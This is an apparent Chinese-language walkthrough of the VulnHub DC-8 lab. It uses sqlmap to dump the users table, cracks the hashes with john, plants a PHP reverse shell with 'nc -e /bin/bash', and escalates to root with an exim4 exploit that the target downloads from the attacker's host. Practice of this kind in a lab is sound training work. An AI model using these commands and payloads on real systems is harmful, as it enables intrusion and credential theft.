@
前言
通過一些靶機實戰練習,學習使用現有的工具來成為指令碼小子。
一、環境搭建
- 靶機:Linux虛擬機器 DC8(下載地址 https://www.vulnhub.com/entry/dc-8,367/),解壓雙擊用VM虛擬機器開啟即可。
- 用於攻擊的主機(本次採用kali)
- 確保主機和虛擬機器在同一網段下。
二、目標和思路
- 繞過兩因素身份驗證,獲得 root 並讀取唯一的標誌flag檔案。
- 思路:資訊收集->getshell->提權
三、實際操作
1.資訊收集
檢視靶機ip
使用netdiscover進行掃描,得到目標靶機的ip地址。
netdiscover -r 192.168.124.0/24
使用nmap掃描靶機埠,檢視哪些埠開放。
nmap 192.168.124.134
發現存在web伺服器,網頁訪問網站。
網站點選連結發現可能存在sql注入,使用sqlmap掃描。
#嘗試獲取資料庫名
sqlmap -u http://192.168.124.134/?nid=1 --dbs
#嘗試獲取表名
sqlmap -u http://192.168.124.134/?nid=1 -D d7db --tables
發現其中含有user表,此表往往是登陸網站,破解的關鍵資料。
#嘗試獲取user表內的欄位名
sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users --columns
#對user表內name和pass欄位進行資料獲取
sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users -C name,pass --dump
得到賬號密碼
密碼明顯可以看出是經過加密的,所以我們需要解密。使用john解密
先將資料儲存進一個檔案example.txt
中,並且以使用者名稱:密碼
的形式進行儲存。#在檔案當前目錄下使用john解密
john example.txt
得到john的密碼,admin的密碼解密失敗。使用dirb搜尋網站目錄,獲得登陸入口
dirb http://192.168.124.134
,發現目錄中存在/user,進入頁面輸入賬號密碼登陸成功。
2.getshell
一頓亂點,發現找到了可以編寫php程式碼的位置(點選左上角content->點選edit->點選webforms->點選form settings->點選下拉框選擇php code
輸入一句話木馬上傳反彈shell(此處無法找到路徑所以用反彈shell)
<?php system("nc -n 192.168.124.134 9999 -e /bin/bash");?>
(簡單解釋:nc是netcat命令,用於兩臺設別互相互動,-e引數表示當連線成功時在本機開啟一個terminal,所有輸入會傳入到terminal上。)儲存後,先在kali上啟動監聽,等待靶機連線
nc -lvp 9999
在網頁隨意提交一個評論,啟動連線
檢視terminal發現連線成功,為了更方便的使用遠端shell,可以嘗試寫一個python偽terminal來使用
python -c "import pty; pty.spawn('/bin/bash');"
檢視安裝的軟體是否含有suid
find / -perm -4000 2>/dev/null
發現伺服器軟體exim4。使用searchsploit查詢相關漏洞。
searchsploit exim4
找到漏洞提權檔案linux/local/46996.sh
,開啟檔案,檢視使用命令#usage instructions
function usage()
{
echo "$0 [-m METHOD]"
echo
echo "-m setuid : use the setuid payload (default)"
echo "-m netcat : use the netcat payload"
echo
exit 1
}
將該檔案複製到kali apache伺服器上,便於靶機下載(什麼伺服器都行)。
啟動apache伺服器
systemctl start apache2
,使用之前的反彈shell下載漏洞檔案wget http://192.168.124.130/exim4.sh
(exim4.sh是漏洞檔案,改了個名字)。許可權不足時選擇/tmp下載。下載成功後新增執行許可權chmod 777 exim4.sh
。注意,直接執行指令碼檔案如果提示失敗,有可能是格式問題,需要在主機上將指令碼格式設定成符合unix格式。然後重新上傳和下載。
vim exim4.sh
:set ff=unix
:wq
根據指令碼內使用方法輸入命令
./exim4.sh -m netcat
指令碼執行成功後,成功開啟/root/flag.txt檔案,攻擊成功。
總結
本次實驗主要還是遵循 資訊收集->getshell->提權 的思路,算是一次簡單的入門實戰練習。在更復雜的環境下還需要考慮更多方面的因素,需要不斷實踐總結。